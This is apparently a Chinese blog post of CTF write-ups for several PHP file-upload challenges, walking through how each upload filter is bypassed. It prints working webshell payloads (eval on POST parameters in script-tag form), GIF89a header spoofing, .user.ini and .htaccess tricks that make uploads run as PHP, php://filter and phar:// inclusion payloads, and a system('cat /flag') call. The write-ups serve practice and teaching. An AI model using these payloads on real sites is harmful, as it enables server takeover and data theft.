文件上传小练

[SUCTF 2019]CheckIn

打开后,是一个文件上传的界面,很明显是文件上传漏洞

经尝试后发现后缀名不能是phpphp被过滤;含有<?的文件被过滤

所以我们将一句话木马进行一些修改

<script language="php">eval($_GET['shell']);</script>

修改后再次上传shell.php

在这里插入图片描述

exif_imagetype

判断一个图像的类型

exif_imagetype ( string $filename ) : int

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

说明题目会检查上传的文件的头部的一些部分来判断是否为图片

使用GIF89a图片头文件欺骗

将php内容改为

GIF89a
<script language="php">eval($_POST['shell']);</script>

在这里插入图片描述

接下来介绍一个新东西.user.ini

具体在这里我就不说了,参考.user.ini文件构成的PHP后门

其实和.htaccess也有类似之处

![在这里插入图片描述]( https://img-blog.csdnimg.cn/ca24367f642848358ea21180446e5f7b.png?x-os-process=image/watermark ,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

auto_append_file,指定一个文件,自动包含在要执行的文件前,而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=shell.php
shell.php

所以,我们可利用.user.ini来包含文件

先上传.user.ini

GIF89a
auto_prepend_file=shell.gif

加上GIF89a来绕过头部的检查

![在这里插入图片描述]( https://img-blog.csdnimg.cn/f4115076629948c2a38df1a6520925c9.png?x-os-process=image/watermark ,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

然后再上传shell.gif

GIF89a
<script language="php">eval($_POST[shell']);</script>

最后蚁剑连接

![在这里插入图片描述]( https://img-blog.csdnimg.cn/76d7462ffbdb4993b5a65ee1a43ce1b4.png?x-os-process=image/watermark ,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

[极客大挑战 2019]Upload

首先我们先提交一个一句话木马试试

<?php eval($_POST['123'])?>

![在这里插入图片描述]( https://img-blog.csdnimg.cn/2dcd344c6f1548108c9edf6fbf74acc9.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

提示格式不对

![在这里插入图片描述]( https://img-blog.csdnimg.cn/8a0f6cf19ff8419292bc1c35f51bed07.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_14,color_FFFFFF,t_70,g_se,x_16)

我们bp抓包更改文件格式,将Content-Type后面更改为image/jpeg,同时更改文件后缀为php5,发现被过滤了

![在这里插入图片描述]( https://img-blog.csdnimg.cn/c4046df5d7c74e87befc664d7d39507b.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_16,color_FFFFFF,t_70,g_se,x_16)

接着试试常见的几种绕过后缀的文件格式:php,php3,php4,php5,phtml.pht

发现只有phtml没被过滤,所以我们将后缀改为phtml上传

![在这里插入图片描述]( https://img-blog.csdnimg.cn/92227a7d873c4672b3078b6368c35825.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

接着又发现上传的文件里面不能包含有<?所以我们将其替换为

GIF89a?关于GIF89a可以参考GIF89a图片头文件欺骗 - IT使者 - 博客园 (cnblogs.com)这篇文章

所以最终的一句话木马为

GIF89a? <script language="php">eval($_REQUEST[123])</script>

接着抓包上传即可

![在这里插入图片描述]( https://img-blog.csdnimg.cn/f4881450e80a4e5eb8804bcb041afd02.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_18,color_FFFFFF,t_70,g_se,x_16)

成功

![在这里插入图片描述]( https://img-blog.csdnimg.cn/acbbb229b696455ea709736d5c280f8d.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_19,color_FFFFFF,t_70,g_se,x_16)

然后猜测图片保存的路径

http://4c9aed77-7f60-4d19-8eae-c6ae4423a79c.node4.buuoj.cn/upload/shell.phtml

![在这里插入图片描述]( https://img-blog.csdnimg.cn/77e7e1f8dcdb4ddcb122fe1645e69dc7.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

正确,然后用蚁剑连接即可

密码就是request里面的

![在这里插入图片描述]( https://img-blog.csdnimg.cn/58668f22eafd413d8830c2e7f5657342.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

flag在根文件里面

![在这里插入图片描述]( https://img-blog.csdnimg.cn/479ba5266f4f4a7d96f5c34377f0dd1e.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

完成

[ACTF2020 新生赛]Upload

首先上传一个php文件,发现不行。

![在这里插入图片描述]( https://img-blog.csdnimg.cn/ea167ccbeabc47f1bf1292de4cadf09e.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_19,color_FFFFFF,t_70,g_se,x_16)

接着我们上传一个png文件,然后将其在bp里改成php文件,发现php也不行

![在这里插入图片描述]( https://img-blog.csdnimg.cn/1f589a5dd8bf4736a8f438a594de8598.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

最后尝试发现phtml可以绕过

![在这里插入图片描述]( https://img-blog.csdnimg.cn/7eb8ee99d941441a8bfa2bdf106d1d1a.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

最后用蚁剑连接就可以了,flag在根目录里面

![在这里插入图片描述]( https://img-blog.csdnimg.cn/a73639ed258c4b44ba37c1c07a81875c.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

[MRCTF2020]你传你🐎呢

先上传一个php文件,果然不行

在这里插入图片描述

接着写个.htaccess文件去把上传的文件解析成php文件

.htaccess内容

<FilesMatch "ceshi">
SetHandler application/x-httpd-php
</FilesMatch>

先上传.htaccess文件(这里说一下,要记得把Contene-Type改为imag/jpeg,后面都要改)

![在这里插入图片描述]( https://img-blog.csdnimg.cn/e62e8d1f97df426ba48785ea81fc772f.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

成功,接着上传ceshi.txt

ceshi.txt内容

<?php @eval($_POST['123']);?>

![在这里插入图片描述]( https://img-blog.csdnimg.cn/b1988c2cb0e746bf8211dab891d507c9.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

上传成功,返回了一个位置,访问它

在这里插入图片描述

没回显错误就说明上传成功了

最后用蚁剑连接即可,密码123,flag在根目录下

在这里插入图片描述

[GXYCTF2019]BabyUpload

还是先尝试一下,直接上传php文件

在这里插入图片描述

这样很多绕过方式都不好使了,

试着上传图片试试

![在这里插入图片描述]( https://img-blog.csdnimg.cn/dbddc0f8aafb487ba18e0bd2c0ddb12e.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

上传太露骨了,是对Content-Type的限制,将其改为image/jpeg即可绕过

尝试上传一个图片🐎

![在这里插入图片描述]( https://img-blog.csdnimg.cn/b70e18e947874bb9a2b6614ec12a6cd1.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

看来过滤了<?标签

可以这样绕过

<script language="php">eval($_POST['mochu7']);</script>

文件后缀可以用.htaccess文件绕过

先上传一个.htaccess文件

![在这里插入图片描述]( https://img-blog.csdnimg.cn/064ac7cec95c4a5f9a1e20eb20c3100a.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

成功,接着上传图片马

![在这里插入图片描述]( https://img-blog.csdnimg.cn/f3e1fc072b3d42e3b9228e702c966565.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

成功上传,得到地址,访问

在这里插入图片描述

无错误回显,说明上传成功,最后蚁剑连接即可得到flag

在这里插入图片描述

phar??

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

考点:

1.phar协议
2.本地文件包含

查看源码

include.php

查看源码

同时告诉了一个参数:file

尝试随便包含一下

仔细查看报错他会在你包含的文件后面加上一个.php

没法上传php文件

可以上传jpg文件

获取到的地址也能访问

简单思路

利用文件包含来触发文件上传的漏洞

这里可以先使用伪协议来读源码

?file=php://filter/read=convert.base64-encode/resource=include

include.php

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
    
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
    
            echo "<p> error! </p>";
        }
        else
        {
    
            include($file.'.php');
        }
    }
?>

过滤了一些东西,然后在末尾加了.php

upload.php

<?php
if(!empty($_FILES["file"]))
{
    
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
    
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
    
        echo "upload failed!";
    }
}
?>

白名单过滤

然后就可以开始尝试了

创建一个1.php,内容为<?php phpinfo();?>,然后压缩成压缩包,之后改后缀为jpg,然后上传

payload

include.php?file=phar://upload/1.jpg/1

接下来改下内容重新上传即可

2.php

<?php system('cat /flag'); ?>

[WUSTCTF2020]CV Maker

打开界面,没有什么思路,看到有注册选项,先注册,然后登录,发现有个上传头像

,那肯定就是在这里注入了

![在这里插入图片描述]( https://img-blog.csdnimg.cn/2c3fc3e2a9d9448d9f244c089d00dc8a.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

直接’空内容‘点击上传

![在这里插入图片描述]( https://img-blog.csdnimg.cn/475683020e5b4f04a00492e550517a27.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

exif_imagetype函数,判断文件头是否是图片。

那么我们直接上传一个shell.php,利用GIF89a就能绕过了,内容为

GIF89a
<script language="php">eval($_POST['shell']);</script>

上传成功,得到图片位置

![在这里插入图片描述]( https://img-blog.csdnimg.cn/3e58a3e2a2024c018512bee5cf56476a.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

最后利用蚁剑连接,flag还是在根目录下

![在这里插入图片描述]( https://img-blog.csdnimg.cn/c6b9abbd6d69444fb2823365976073a9.png?x-os-process=image/watermark ,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAVExfX2dob3N0,size_20,color_FFFFFF,t_70,g_se,x_16)

结束

posted @ 2022-07-06 14:11  phant0m1  阅读(739)  评论(0)    收藏  举报